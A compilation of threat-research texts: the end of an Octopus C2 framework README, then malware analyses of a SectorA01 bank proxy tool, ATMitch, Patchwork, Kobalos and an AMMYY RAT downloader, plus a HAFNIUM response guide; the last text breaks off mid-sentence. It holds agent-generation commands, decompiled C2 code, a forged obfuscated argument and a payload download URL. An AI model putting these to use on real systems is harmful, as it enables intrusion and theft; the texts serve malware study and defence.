Octopus EXE Agent To generate an EXE agent for listener `operation1`, use: ``` generate_unmanaged_exe operation1 /opt/Octopus/file.exe ``` ### Interacting with Agents You can list all connected agents using the `list` command: ``` list ``` Then, use the `interact` command to interact with the host: ``` interact 1 ``` You can list all available commands using the `help` command: ``` help ``` To execute a system command directly, type the command and wait for the results based on the interval check time set when creating the listener. ### More About Octopus - Octopus v1.0 stable: Cobalt Strike deployment & much more! - Unveiling Octopus: The pre-operation C2 for Red Teamers. ## Credits - Ian Lyte for reporting multiple bugs in Octopus and enhancing the AMSI bypass module. - Khlief for adding the HTA module and fixing a bug in the download feature. - Moath Maharmah for enhancing the encryption module and writing a standalone C# Octopus agent. - TeslaPulse for testing Octopus. - J005 for adding enhanced PowerShell oneliner and fixing an issue in the HID attack script. ## License This project is licensed under the GPL-3.0 License - see the LICENSE file for details.
# SectorA01 Custom Proxy Utility Tool Analysis ## Overview SectorA01 is one of the most infamous state-sponsored threat actor groups globally and is unique in its large interests in financial crime. With the continued interest in SectorA01’s financial crime activities due to the recent potential misattribution of the Ryuk ransomware, we decided to perform an analysis of one of the tools—a proxy utility executable—used exclusively by SectorA01 that recently caught our attention again. Interestingly, in the Hidden Cobra FASTCash report by the US-CERT in October last year, there were two versions of a “Themida packed proxy service module” (i.e., x32 and x64 versions). Our analysis of those modules showed code reuse of critical functions with the sample we are analyzing in this post, leading us to think that those samples might be an evolution of this sample. ## SectorA01 Proxy Utility SectorA01 uses a variety of tools for different purposes, but one common custom tool used in the attacks targeting the Polish banks in 2016-2017, a Taiwanese Bank in 2017, and Vietnamese banks in 2018 is one of their custom proxy utility executables. The latest unique sample of this proxy utility we could find was on December 10th, 2018, from Canada. This leads us to theorize that Canadian bank(s) may have been one of the many unreported or reported targets during the time period of the attack on the Taiwanese bank based on the compilation timestamps. As we can see from the FASTCash proxy samples below, at least one of their developers compiles the 64-bit sample immediately after compiling the 32-bit sample—behavior very normal for developers when compiling for multiple systems. The same can be seen for the two samples on 20 Feb 2017. Instead of calling them samples targeting a Taiwanese bank and potentially a Canadian bank, it may be more accurate to call it just one of the many pairs of 32-bit and 64-bit proxy samples produced by the group. A proxy was also used against an unnamed Southeast Asian bank, which appears to be an older version of the proxy, and against an Indian bank, which appears to be a newer version of the proxy based on our code analysis from samples in the US-CERT FASTCash report. | Description | Compilation Timestamp | |--------------------------------------------------------------------|-----------------------------| | Attack on unnamed SEA bank (old version) | 17 Sep 2014 16:59:33 | | Attack on several Polish banks (variant) | 24 Aug 2015 10:21:52 | | Attack on Vietnamese banks (variant) | 2 May 2016 03:24:39 | | Attack on a Taiwanese Bank (32-bit) (variant) | 20 Feb 2017 11:09:30 | | Sample Discovered from Canada (64-bit) (sample analyzed) | 20 Feb 2017 11:09:41 | | FASTCash (32-bit) (new version) | 14 Aug 2017 17:14:04 | | FASTCash (64-bit) (new version) | 14 Aug 2017 17:14:12 | ## Sample Background This executable is a custom tunneling proxy utility tool in SectorA01’s toolkit. It can be used as either a tunneling proxy server to forward traffic to another destination or as a tunneling proxy client which requests another infected tunneling proxy server to perform requests. Besides being used as one of several ordinary proxy servers in a chain of servers to hide the source of attacks, against one example banking target from India in the FASTCash attacks, “a proxy server was created and transactions authorized by the fake or proxy server.” In this scenario, the proxy utility seems to be not used just as a secondary helper utility, but as the primary attack malware. SectorA01 normally packs these samples with either the Themida or Enigma Protector, but in this blog post, we will only be showing the analysis of the unpacked sample. ## Process Arguments This utility requires a single process argument in order for it to run. It attempts to decode the argument and only continues its execution path if the decoded argument matches the format it is expecting. The argument is delimited by the “|” symbol, and the utility decodes up to four tokens with each token being decoded individually. The first is required and used as the primary C2 server (malware acting as tunneling proxy server) or as the URL to be requested (malware acting as tunneling proxy client). The optional second token is used as the proxy target information, the optional third token is used as proxy server information, and the optional fourth token is an optional proxy username and password. Each deobfuscated token is separated by a colon “:”, which is used as the deobfuscated process arguments delimiter. ```c int __stdcall WinMain_0(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { //deobfuscate process arguments here deobfuscation_complete: if (strlen(deobfuscated_c2_1) != 0 && strchr(deobfuscated_c2_1, ":")) { … } return 0; } ``` The decoding algorithm makes use of a rotating character in an eight-character string “cEzQfoPw” and the loop index to ensure that every deobfuscated character at a different index comes from a different two obfuscated characters. We recreated this deobfuscation algorithm and created an obfuscation algorithm, which allowed us to forge our own process arguments. An example of a process argument which uses all four tokens could be: ``` "!y$t$A$s!z$S$e$U$Q$Y$1$W$U!}$d|!y#z$A$s!z$S$o$1$5$t$A$e$U!x|!y#{!}$Z$C$R$o$1$P#}$8$a!y!y|!00X!B0]0D!8#z$2$R0d$0$b!w!20c!70B0d" ``` ### Decoded C2 | Example Token | Information | Usage | |-----------------------------------------------------|----------------------------|-----------------------------------------| | !y$t$A$s!z$S$e$U$Q$Y$1$W$U!}$d | 192.168.1.1:443 | C2 Server (1-2 arguments) | | !y#z$A$s!z$S$o$1$5$t$A$e$U!x | 172.16.1.1:443 | Proxy Target (2 arguments only) | | !y#{!}$Z$C$R$o$1$P#}$8$a!y!y | 10.1.1.12:8080 | Proxy Server (3-4 arguments) | | !00X!B0]0D!8#z$2$R0d$0$b!w!20c!70B0d | sector%20a01:proxy | Proxy Authentication (4 arguments only)| Note that since the algorithm transforms every two encoded characters into one decoded character based on its character index, there are many possible two characters which will result in the same character, and finally countless different strings which would decode to a single string. ## C2 Communication The algorithm used for C2 communications is more straightforward—a combination of ADD/XOR repeatedly from each character in a hard-coded 20-character byte array is used for decoding, and the opposite XOR/SUB repeatedly from the reversed byte array is used for encoding. The algorithm restarts for each character without context, so it essentially ends up being a character substitution table. There are eight commands to communicate with the C2 server, encoded by either the C2 server or the proxy client then decoded by the other side. These commands are in the Russian language but as other researchers have pointed out in the past, it is simply a false flag. In fact, in one of the analyzed malware used against an unnamed Southeast Asian bank, we see that what appears to be much earlier versions of the proxy having seven numeric-only control codes while this sample has eight Russian language control codes, with the control codes in both samples having almost the same meaning. | Operation | Description | Hex Values over the Network | |---------------------------|-----------------------------------------------|------------------------------------------------| | kliyent2podklyuchit | Malware thread created notification (client) | d1 14 23 b3 c7 b2 ac fe 70 0d | | Nachalo | Client has started (client) | 92 ab f9 38 ab 14 0d | | ssylka | Tunneling proxy server has started (client) | c9 c9 b3 14 d1 ab | | poluchit | Get proxy target information | 70 0d 14 d7 f9 38 23 ac | | ustanavlivat | Set proxy target information | d7 c9 ac ab b2 ab 2a 14 23 2a ab ac | | pereslat | Start a new tunneling proxy server session in new thread (server) | 70 c7 be c7 c9 14 ab ac | | derzhat | Maintain connection (server) | 1c c7 be b6 38 ab ac | | vykhodit | Exit (server) / Client has exited (client) | 2a b3 d1 38 0d 1c 23 ac | ## Tunneling Proxy Server When this utility acts as a tunneling proxy server, it directly uses Windows Sockets 2 (“WS2_32”) to achieve their rudimentary proxy. ```c signed __int64 __fastcall c2_ssylka(LPVOID lpThreadParameter) { SOCKET c2Socket = begin_c2("ssylka"); … SOCKET targetProxySocket = retrieveProxySocket(); … start_tunnel_proxy_server(c2Socket, targetProxySocket); … } ``` ```c signed int __fastcall start_tunnel_proxy_server(SOCKET c2Socket, SOCKET targetProxySocket) { … numBytesReceived = recv(c2Socket, &dataToProxy, 0x2000, 0); … numBytesReceived = send(targetProxySocket, &dataToProxy, numBytesReceived, 0); … } ``` ## Tunneling Proxy Client When this utility acts as a tunneling proxy client, it utilizes the more powerful embedded libcurl library (version 7.49.1 for this sample, but not always the case) to command other infected tunneling proxy servers. ```c __int64 __fastcall connect_to_proxy(__int64 fixedFunctionAddress, __int64 proxyTarget) { … curl_setopt(handle, CURLOPT_URL, proxyTarget); … curl_setopt(handle, CURLOPT_PROXY, fixedFunctionAddress + 16); //refers to deobfuscated proxy server information … curl_setopt(handle, CURLOPT_HTTPPROXYTUNNEL, 1); … if (strlen((fixedFunctionAddress + 278)) != 0) //if deobfuscated argument 4 is not empty curl_setopt(handle, CURLOPT_PROXYUSERPWD); //curl_setopt argument 3 = deobfuscated process argument 4, which is not detected by decompiler … } … } ``` The `CURLOPT_HTTPPROXYTUNNEL` code causes the client to start by using HTTP CONNECT to the proxy server in order to request it to forward traffic to the proxy target. ## The FASTCash Connection In October last year, the US-CERT reported about the “FASTCash” campaign by SectorA01, which was essentially an ATM cash-out scheme whereby SectorA01 remotely compromised bank payment switch applications to simultaneously physically withdraw from ATMs in many countries and steal millions of dollars. Some of the artifacts used in the campaign included proxy modules, a RAT, and an installer application. When we performed a preliminary analysis and compared the FASTCash proxy module to the proxy module analyzed in this post, we found algorithmic similarities between the decoding/encoding functions, the process argument deobfuscation function, and the proxy function. However, the FASTCash proxy module also had more functions in them with new capabilities as described briefly in the US-CERT FASTCash Malware Analysis Report. Additionally, our own analysis showed that they have also updated the use of amateur-ish strings which were previously easily detectable from memory and obviously malicious, to now hiding or removing those custom strings. This is their normal behavior as it has been known that they are constantly modifying their own source code, and these similarities and developments lead us to think that the FASTCash proxy module might be an evolution of their previous proxy module. ## Summary Attribution is a complex and controversial topic, but regardless, correctly attributing a threat to a particular threat group is a far easier task than correctly attributing the threat to or being linked to a particular nation-state. Given even a single piece of complex enough custom malware believed to be in possession by only a single group and context behind the attack, it is possible to have some degree of confidence of which group was behind the attack. But even custom malware source code can get stolen, the executable itself repackaged, or the functions recreated. In a simpler scenario, false flags such as strings and metadata could also be placed. Regarding the initial attribution of the Ryuk ransomware, while others have focused on the misattribution, our view is that even if it was correct it would simply have been a lucky guess. Basing attribution solely on the usage of a single privately purchasable malware is fundamentally flawed, and the simple truth is that no organization in the world would be able to track every piece of malware to know what is being sold in the dark and deep web anyway. That is why in order to have a higher degree of confidence of who is behind an attack, the entirety of the threat’s tactics, techniques, and procedures (TTPs) need to be analyzed across multiple events using both trusted public and vetted private sources. SectorA01 shows no signs of stopping their attacks against financial sectors worldwide and although they have been constantly modifying their code protectors, functions, and algorithms, there will be traces of similarities across different versions of their tools. Our Threat Recon Team will continue tracking such events and malware and report on our findings. ## Indicators of Compromise (IoCs) **Unpacked Sample (SHA-256)** 0d75d429c1cc3550b2961be84af777f8bed287a44a144b7a47988c601e1e9a27 **Memory Dump Samples from US-CERT FASTCash Report (SHA-256)** 9ddacbcd0700dc4b9babcd09ac1cebe23a0035099cb612e6c85ff4dffd087a26 1f2cd2bc23556fb84a51467fedb89cbde7a5883f49e3cfd75a241a6f08a42d6d **Packed Sample from Polish banks attack (SHA-256)** d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2 **Sample from Taiwanese bank attack (SHA-256)** 9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852 **Sample from Vietnamese banks attack (SHA-256)** f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de **Attack on Unnamed SEA Bank (TCP Tunnel Tool) (SHA-256)** 19bba0a7669a0109a6d2184bc0135ea4581449c8f5f0ef8a04af057447635cab
# ATMitch: Remote Administration of ATMs **Authors** Sergey Golovanov In February 2017, we published research on fileless attacks against enterprise networks. We described the data collected during incident response in several financial institutions around the world, exploring how attackers moved through enterprise networks leaving no traces on the hard drives. The goal of these attackers was money, and the best way to cash out and leave no record of transactions is through the remote administration of ATMs. This second paper is about the methods and techniques that were used by the attackers in the second stage of their attacks against financial organizations – basically enabling remote administration of ATMs. In June 2016, Kaspersky Lab received a report from a Russian bank that had been the victim of a targeted attack. During the heist, the criminals were able to gain control of the ATMs and upload malware to them. After cashing out, the malware was removed. The bank’s forensics specialists were unable to recover the malicious executables because of the fragmentation of a hard drive after the attack, but they were able to restore the malware’s logs and some file names. The bank’s forensic team were able, after careful forensic analysis of the ATM’s hard drive, to recover the following files containing logs: ``` C:\Windows\Temp\kl.txt C:\logfile.txt ``` In addition, they were able to find the names of two deleted executables. Unfortunately, they were not able to recover any of the contents: ``` C:\ATM\!A.EXE C:\ATM\IJ.EXE ``` Within the log files, the following pieces of plain text were found: ``` [Date – Time] [%d %m %Y – %H : %M : %S] > Entering process dispense. [%d %m %Y – %H : %M : %S] > Items from parameters converted successfully. 4 40 [%d %m %Y – %H : %M : %S] > Unlocking dispenser, result is 0 [%d %m %Y – %H : %M : %S] > Catch some money, bitch! 4000000 [%d %m %Y – %H : %M : %S] > Dispense success, code is 0 ``` As mentioned in the previous paper, based on the information from the log file we created a YARA rule to find a sample, in this case: MD5 cef6c2aa78ff69d894903e41a3308452. And we’ve found one. This sample was uploaded twice (from Kazakhstan and Russia) as “tv.dll”. The malware, which we have dubbed ATMitch, is fairly straightforward. Once remotely installed and executed via Remote Desktop Connection (RDP) access to the ATM from within the bank, the malware looks for the “command.txt” file that should be located in the same directory as the malware and created by the attacker. If found, the malware reads the one character content from the file and executes the respective command: ``` ‘O’ – Open dispenser ‘D’ – Dispense ‘I’ – Init XFS ‘U’ – Unlock XFS ‘S’ – Setup ‘E’ – Exit ‘G’ – Get Dispenser id ‘L’ – Set Dispenser id ‘C’ – Cancel ``` After execution, ATMitch writes the results of this command to the log file and removes “command.txt” from the ATM’s hard drive. The sample “tv.dll” successfully retrieved in this case does not try to conceal itself within the system. ## The malware’s command parser The malware uses the standard XFS library to control the ATM. It should be noted that it works on every ATM that supports the XFS library (which is the vast majority). Unfortunately, we were unable to retrieve the executables (!A.exe and IJ.exe, located in C:\ATM) from the ATM; only the file names were found as artefacts during the forensic analysis. We assume that these are the installer and uninstaller of the malware. It should also be noted that “tv.dll” contained one Russian-language resource. Kaspersky Lab continues to monitor and track these kinds of threats and reiterates the need for allowlisting in ATMs as well as the use of anti-APT solutions in banking networks.
# Patchwork Cyberespionage Group Expands Targets Symantec finds that Patchwork now targets a variety of industries in the US, China, Japan, Southeast Asia, and the UK. The Patchwork attack group has been targeting more than just government-associated organizations. Our research into the group found that it’s been attacking a broad range of industries—including aviation, broadcasting, and finance—to drop backdoor Trojans. Symantec Security Response has been actively monitoring Patchwork, also known as Dropping Elephant, which uses Chinese-themed content as bait to compromise its targets’ networks. Two security companies, Cymmetria and Kaspersky, each recently released reports on the campaign, most of which are in line with our observations. ## Targets As other researchers observed, Patchwork originally targeted governments and government-related organizations. However, the group has since expanded its focus to include a broader range of industries. While most of the interest still lies in the public sector, more recent attacks were found targeting the following industries: - Aviation - Broadcasting - Energy - Financial - Non-governmental organizations (NGO) - Pharmaceutical - Public sector - Publishing - Software According to Symantec telemetry, targeted organizations are located in dispersed regions. Although approximately half of the attacks focus on the US, other targeted regions include China, Japan, Southeast Asia, and the United Kingdom. ## Attack Vector Our first observation of an attempted attack related to this campaign dates back to November 2015, although Symantec telemetry data indicates that the campaign may have already existed in early 2015 or perhaps even earlier. The threat actor mainly relies on a legitimate mailing list provider to send newsletters to a select number of targets. The newsletter includes a link to the attacker’s website, which has content focusing on topics related to China to draw the target’s interest. These websites are hosted on the same domains as the mailing list provider. Each website is customized for the intended target and contains specialized topics related to the targeted industries. The malicious sites link to files hosted on different domains, which appear to be solely used for malicious purposes. The domains are registered under names that pose as legitimate sources for Chinese intelligence. Several domains predominantly used in the attacks are hosted on two servers with the IP addresses 212.83.146.3 and 37.58.60.195. These websites host two different types of malicious files: a PowerPoint file (.pps) and a rich text file with a Word .doc extension. The PowerPoint files appear to exploit the Microsoft Windows OLE Package Manager Remote Code Execution Vulnerability (CVE-2014-4114), which was used in the Sandworm attacks against American and European targets in October 2014. The rich text files typically attempt to exploit the Microsoft Office Memory Corruption Vulnerability (CVE-2015-1641), which was patched in April 2015. We have also confirmed an older flaw being exploited, the Microsoft Windows Common Controls ActiveX Control Remote Code Execution Vulnerability (CVE-2012-0158). From what we can confirm, the documents contain copies of publicly available content taken from legitimate websites. Topics range from military/defense, hospital, naval disputes, and even malware removal. ### Malicious PowerPoint Files The .pps files likely exploit the Microsoft Windows OLE Package Manager Remote Code Execution Vulnerability (CVE-2014-4114). However, the exploit for this particular campaign is a slight variation of similar exploits observed in the past. The exploit takes advantage of how the patch is designed to only warn users, rather than completely prevent malware infections without user interaction. Nothing happens when the file is opened on PowerPoint 2016. However, when the file is opened on older versions of PowerPoint, it displays a security warning asking whether the user wants to open driver.inf depending on the environment, such as the version of the operating system and the patch applied. If the user chooses to open the file, the computer will be compromised. If the user chooses not to open it, the computer will not be infected. However, Backdoor.Enfourks will be dropped, though not executed, into the temporary directory when the .pps file is opened. This poses a risk of compromise to the intended target. We have confirmed this issue on all versions of PowerPoint tested in the lab. Users should manually remove any potential dropped files which would typically be named “sysvolinfo.exe”. ### Malicious Word .doc File Besides the .pps file, the threat actor uses rich text files to deliver the malware. While other researchers have reported that these files exploit CVE-2012-0158, Symantec has also observed CVE-2015-1641 being exploited to drop Backdoor.Steladok. ## Main Payloads Both the .doc and .pps files mainly drop two malware families. Typically, the PowerPoint Slide file drops Backdoor.Enfourks, an AutoIT executable which is usually bloated with meaningless data and targets mainly 32-bit systems. The .doc file drops Backdoor.Steladok. While both backdoor Trojans wait for commands from the threat actor, they can search for files and upload them to the specified server once activated. For unknown reasons, both threats use Baidu, the Chinese software vendor, in their routines. The Trojans confirm an internet connection by pinging Baidu’s server and create a registry entry with the vendor’s name to run every time Windows starts. As two file types are used to deliver two different payloads, there are likely multiple individuals or groups contributing to the malware development efforts. ## Mitigation Users should adhere to the following advice to prevent Patchwork’s attacks from succeeding: - Delete any suspicious-looking emails you receive, especially if they contain links or attachments. Spear-phishing emails are frequently used by cyberespionage attackers as a means of luring victims into opening malicious files. - Keep your operating system and other software updated. Software updates will frequently include patches for newly discovered security vulnerabilities which are frequently exploited by attackers. - Keep your security software up to date to protect yourself against any new variants of this malware. ## Protection Symantec and Norton products detect Patchwork’s malware as follows: **Antivirus:** - System Infected: Backdoor.Steladok Activity - System Infected: Backdoor.Enfourks Activity ## Indicators of Compromise The following details suspicious domains, IP addresses, and files, which may indicate that Patchwork has compromised a computer: **Suspected domains and IP addresses:** - chinastrats.com - epg-cn.com - extremebolt.com - info81.com - lujunxinxi.com - militaryworkerscn.com - milresearchcn.com - modgovcn.com - newsnstat.com - nudtcn.com - socialfreakzz.com - 81-cn.net - cnmilit.com - nduformation.com - expatchina.info - climaxcn.com - miltechcn.com - miltechweb.com - securematrixx.com - 46.166.163.242 - 212.129.13.110 **Detection name and file names:** | Detection name | MD5 | File name | |---------------------|---------------------------------------|----------------------------------------------------| | Trojan.PPDropper | 0bbff4654d0c4551c58376e6a99dfda0 | | | Trojan.PPDropper | 1de10c5bc704d3eaf4f0cfa5ddd63f2d | MilitaryReforms2.pps | | Trojan.PPDropper | 2ba26a9cc1af4479e99dcc6a0e7d5d67 | 2016_China_Military_PowerReport.pps | | Trojan.PPDropper | 375f240df2718fc3e0137e109eef57ee | PLA_UAV_DEPLOYMENT.pps | | Trojan.PPDropper | 38e71afcdd6236ac3ad24bda393a81c6 | militarizationofsouthchinasea_1.pps | | Trojan.PPDropper | 3e9d1526addf2ca6b09e2fdb5fd4978f | How_to_easily_clean_an_infected_computer.pps | | Trojan.PPDropper | 475c29ed9373e2c04b7c3df6766761eb | PLA_Forthcoming_Revolution_in_Doctrinal_Affairs.pps| **Detection name and file names:** | Detection name | MD5 | File name | |---------------------|---------------------------------------|----------------------------------------------------| | Trojan.Mdropper | 2099fcd4a81817171649cb38dac0fb2a | | | Trojan.Mdropper | 3d852dea971ced1481169d8f66542dc5 | China_Vietnam_Military_Clash.doc | | Trojan.Mdropper | 4ff89d5341ac36eb9bed79e7afe04cb3 | Cyber_Crime_bill.doc | | Trojan.Mdropper | 7012f07e82092ab2daede774b9000d64 | china_report_EN_web_2016_A01.doc | | Trojan.Mdropper | 735f0fbe44b70e184665aed8d1b2c117 | Cyber_Crime_bill.doc | | Trojan.Mdropper | 7796ae46da0049057abd5cfb9798e494 | | | Trojan.Mdropper | e5685462d8a2825e124193de9fa269d9 | PLA_Forthcoming_Revolution_in_Doctrinal_Affairs2.doc | | Trojan.Mdropper | f5c81526acbd830da2f533ae93deb1e1 | Job_offers.doc | **Detection name and MD5:** | Detection name | MD5 | |---------------------|---------------------------------------| | Backdoor.Steladok | 0f09e24a8d57fb8b1a8cc51c07ebbe3f | | Backdoor.Enfourks | 233a71ea802af564dd1ab38e62236633 | | Backdoor.Steladok | 2c0efa57eeffed228eb09ee97df1445a | | Backdoor.Enfourks | 3ac28869c83d20f9b18ebbd9ea3a9155 | | Trojan.Gen.2 | 465de3db14158005ede000f7c0f16efe | | Trojan.Gen.2 | 4fca01f852410ea1413a876df339a36d | | Backdoor.Enfourks | 61e0f4ecb3d7c56ea06b8f609fd2bf13 | | Backdoor.Enfourks | 6b335a77203b566d92c726b939b8d8c9 | | Backdoor.Enfourks | a4fb5a6765cb8a30a8393d608c39d9f7 | | Backdoor.Enfourks | b594a4d3f7183c3af155375f81ad6c3d | | Backdoor.Enfourks | b7433c57a7111457506f85bdf6592d18 | | Backdoor.Enfourks | c575f9b40cf6e6141f0ee40c8a544fb8 | | Backdoor.Enfourks | d8102a24ca00ef3db7d942912765441e | | Backdoor.Steladok | f47484e6705e52a115a3684832296b39 | | Backdoor.Enfourks | f7ce9894c1c99ce64455155377446d9c | | Infostealer | ffab6174860af9a7c3b37a7f1fb8f381 |
# Kobalos – A Complex Linux Threat to High Performance Computing Infrastructure ESET researchers have analyzed malware that has been targeting high performance computing (HPC) clusters, among other high-profile targets. We reverse engineered this small, yet complex, malware that is portable to many operating systems including Linux, BSD, Solaris, and possibly AIX and Windows. We have named this malware Kobalos for its tiny code size and many tricks; in Greek mythology, a Kobalos is a small, mischievous creature. Today we publish a paper titled “A wild Kobalos appears: Tricksy Linux malware goes after HPCs” describing the inner workings of this threat. ## A Wild Kobalos Appears: Tricksy Linux Malware Goes After HPCs Perhaps unrelated to the events involving Kobalos, there were multiple security incidents involving HPC clusters in the past year. Some of them hit the press and details were made public in an advisory from the European Grid Infrastructure (EGI) CSIRT about cases where cryptocurrency miners were deployed. The EGI CSIRT advisory shows compromised servers in Poland, Canada, and China were used in these attacks. Press articles also mention Archer, a breached UK-based supercomputer where SSH credentials were stolen, but do not contain details about which malware was used, if any. We’ve worked with the CERN Computer Security Team and other organizations involved in mitigating attacks on scientific research networks. According to them, the usage of the Kobalos malware predates the other incidents. While we know Kobalos compromised large HPC clusters, no one could link the Kobalos incidents to the use of cryptocurrency malware. The malware and the techniques described in these other attacks are different. We also know Kobalos is not exclusively targeting HPCs: we found that a large Asian ISP, a North American endpoint security vendor (not us), as well as some personal servers were also compromised by this threat. ## Tiny Code, Big Targets Thorough analysis of Kobalos revealed that it is sometimes possible to remotely determine if a system is compromised by connecting to the SSH server using a specific TCP source port. Using that knowledge, ESET researchers scanned the internet to find potential victims. We were able to identify multiple targets of Kobalos, including HPC systems. We notified all identified victims and worked with them to remediate. ## The Backdoor Kobalos is a generic backdoor in the sense that it contains broad commands that don’t reveal the intent of the attackers. In short, Kobalos grants remote access to the file system, provides the ability to spawn terminal sessions, and allows proxying connections to other Kobalos-infected servers. There are multiple ways for the operators to reach a Kobalos-infected machine. The method we’ve seen the most is where Kobalos is embedded in the OpenSSH server executable (sshd) and will trigger the backdoor code if the connection is coming from a specific TCP source port. There are other stand-alone variants that are not embedded in sshd. These variants either connect to a C&C server that will act as a middleman, or wait for an inbound connection on a given TCP port. Something that makes Kobalos unique is the fact that the code for running a C&C server is in Kobalos itself. Any server compromised by Kobalos can be turned into a C&C server by the operators sending a single command. As the C&C server IP addresses and ports are hardcoded into the executable, the operators can then generate new Kobalos samples that use this new C&C server. ## The Sidekick In most systems compromised by Kobalos, the SSH client is compromised to steal credentials. This credential stealer is unlike any of the malicious OpenSSH clients we’ve seen before, and we’ve looked at tens of them in the past eight years. The sophistication of this component is not the same as Kobalos itself: there was no effort to obfuscate early variants of the credential stealer. For example, strings were left unencrypted and stolen usernames and passwords are simply written to a file on disk. However, we found newer variants that contain some obfuscation and the ability to exfiltrate credentials over the network. The presence of this credential stealer may partially answer how Kobalos propagates. Anyone using the SSH client of a compromised machine will have their credentials captured. Those credentials can then be used by the attackers to install Kobalos on the newly discovered server later. ## How It Hides Analyzing Kobalos isn’t as trivial as most Linux malware because all of its code is held in a single function that recursively calls itself to perform subtasks. This makes it more challenging to analyze. Additionally, all strings are encrypted so it’s more difficult to find the malicious code than when looking at the samples statically. Usage of the backdoor requires a private 512-bit RSA key and a 32-byte-long password. Once authenticated, RC4 keys are exchanged and the rest of the communication is encrypted with them. ## Remediation ESET products detect the Kobalos malware as Linux/Kobalos or Linux/Agent.IV. The SSH credential stealer is detected as Linux/SSHDoor.EV, Linux/SSHDoor.FB, or Linux/SSHDoor.FC. A YARA rule is also available in ESET’s malware-ioc repository on GitHub. From a network perspective, it is possible to detect Kobalos by looking for non-SSH traffic on the port attributed to an SSH server. When the Kobalos backdoor communicates with an operator, there is no SSH banner (SSH-2.0‑…) exchanged, neither from the client nor the server. We have suggested before setting up two-factor authentication (2FA) for connecting to SSH servers. Kobalos is another case where 2FA could have mitigated the threat, since the use of stolen credentials seems to be one of the ways it is able to propagate to different systems. ## Conclusion We were unable to determine the intentions of the operators of Kobalos. No other malware, except for the SSH credential stealer, was found by the system administrators of the compromised machines. We also didn’t have access to network traffic captures of the operators in action. The way Kobalos is tightly contained in a single function and the usage of an existing open port to reach Kobalos makes this threat harder to find. Hopefully the details we reveal today in our new publication will help raise awareness around this threat and put its activity under the microscope. This level of sophistication is only rarely seen in Linux malware. Given that it’s more advanced than the average and that it compromised rather large organizations, Kobalos may be running around for a little while. A comprehensive list of Indicators of Compromise (IoCs) and samples can be found in our GitHub repository. For any inquiries, or to make sample submissions related to the subject, contact us at [email protected]. We would like to acknowledge the work of Maciej Kotowicz from MalwareLab.pl who also analyzed Kobalos independently and with whom we mutually share results. He presented on this threat at the Oh My H@ck 2020 conference. ## MITRE ATT&CK Techniques | Tactic | ID | Name | Description | |--------------|---------------|-------------------------------|-----------------------------------------------------------------------------| | Persistence | T1554 | Compromise Client Software Binary | Kobalos may embed its malicious payload in the OpenSSH server and replace the legitimate file (sshd). Kobalos replaces the SSH client on compromised systems to steal credentials. | | Command | T1573.001 | Encrypted Channel: Symmetric | Kobalos’s post-authentication communication channel is encrypted with RC4. | | Control | T1573.002 | Encrypted Channel: Asymmetric | Kobalos’s authentication and key exchange is performed using RSA-512. | | Evasion | T1070.003 | Clear Command History | No command history related to the attack was found on Kobalos-infected machines. | | | T1070.006 | Timestomp | When files are replaced by Kobalos operators, timestamps are forged. | | | T1027.002 | Software Packing | Kobalos’s code is flattened into a single function using a custom packer and its strings are encrypted. | | Proxy | T1090.003 | Proxy: Multi-hop | Kobalos can serve as a proxy to other Kobalos-compromised systems. |
# Detection and Response for HAFNIUM Activity HAFNIUM is a state-sponsored threat actor known for targeting on-premises Microsoft Exchange servers. This document outlines detection and response strategies for organizations to mitigate the risks associated with HAFNIUM activity. ## Detection 1. **Monitor for Indicators of Compromise (IOCs)**: - Keep an updated list of IOCs related to HAFNIUM activity. - Use threat intelligence feeds to stay informed about new IOCs. 2. **Log Analysis**: - Analyze logs from Microsoft Exchange servers for unusual access patterns. - Look for failed login attempts, especially from unfamiliar IP addresses. 3. **Network Traffic Monitoring**: - Monitor outbound traffic for connections to known malicious IP addresses. - Use intrusion detection systems (IDS) to identify suspicious activity. 4. **Endpoint Detection and Response (EDR)**: - Implement EDR solutions to detect and respond to threats on endpoints. - Look for signs of exploitation or lateral movement within the network. ## Response 1. **Containment**: - Isolate affected systems to prevent further compromise. - Disable accounts that show signs of unauthorized access. 2. **Eradication**: - Remove any malicious artifacts from compromised systems. - Apply patches to vulnerable software to close security gaps. 3. **Recovery**: - Restore systems from clean backups. - Monitor systems closely for any signs of re-infection. 4. **Post-Incident Analysis**: - Conduct a thorough investigation to understand the attack vector. - Update incident response plans based on lessons learned. ## Conclusion Organizations must remain vigilant against HAFNIUM and similar threat actors. By implementing robust detection and response strategies, organizations can better protect their systems and data from potential threats.
# A Brief Overview of the AMMYY RAT Downloader SHA-256: 963f1735e9ee06c66fdf3a831d7c262bc8bce0d7155e37f9a5aa2677e0a6090c You can download the malware sample from malware-traffic-analysis.net. ## Stage 1 The main function is full of junk instructions. The most interesting function inside the main is the `decode_n_call` function near the end. Inside the `decode_n_call` function, it allocates memory, decodes data from the 0x0433220 address, and jumps to it via the call instruction. It allocates two memory blocks, each 0x3000 length, with `PAGE_EXECUTE_READWRITE` permission. After that, it writes some decoded data inside the first allocated memory. There is another loop that decodes/decrypts the written data in memory. It seems like it’s a PE file, but still encoded, not valid yet. Function 0x30A70 gets two arguments, the encoded/encrypted data and the second allocated memory. The function returns a decoded/decrypted PE file via the second argument. It removes the main executable from memory and copies the recently decoded/decrypted code. ### Section maps Inside 0x30730 (offset 0x730) function, it builds the IAT for the new PE file. After that, it jumps to the entry point of the new PE file. Instead of continuing analysis, it’s much easier to dump the new PE and analyze it separately. ## Stage 2 The second PE is full of junk instructions, too. The interesting part starts at 0x0401EED location. Inside the `sub_403B10` function, it tries to delete `Settings`, `Microsoft\Enc`, `AMMYY`, `Foundation`, and `Foundation1` directories, as well as the following files: `wmihost.exe`, `settings3.bin`, `wmites.exe`, `wsus` from different directories. It uses `sub_404450` to get function addresses based on some kind of hash, which is passed via the second argument. The 0x403DE0 function gets the process name as the argument and terminates the corresponding process. It executes the following commands using the `ShellExecuteW` function: `cmd /C net.exe stop ammyy`, `cmd /C sc delete ammyy`, `cmd /C net.exe stop foundation`, and `cmd /C sc delete foundation`. These commands stop the malware if there is one. It generates a random name (via `CoCreateGuid`) for a PE file, which it downloads from `http://185.176.221.29/ban3.dat`. Inside the `downloadNextStage_bin` function, it downloads a file from the URL and saves it at the above-mentioned location. It copies the new file to `CSIDL_COMMON_APPDATA\Microsoft Help\wsus.exe` and deletes the original one. Inside the `sub_402960` function, if the user is an admin, it executes the 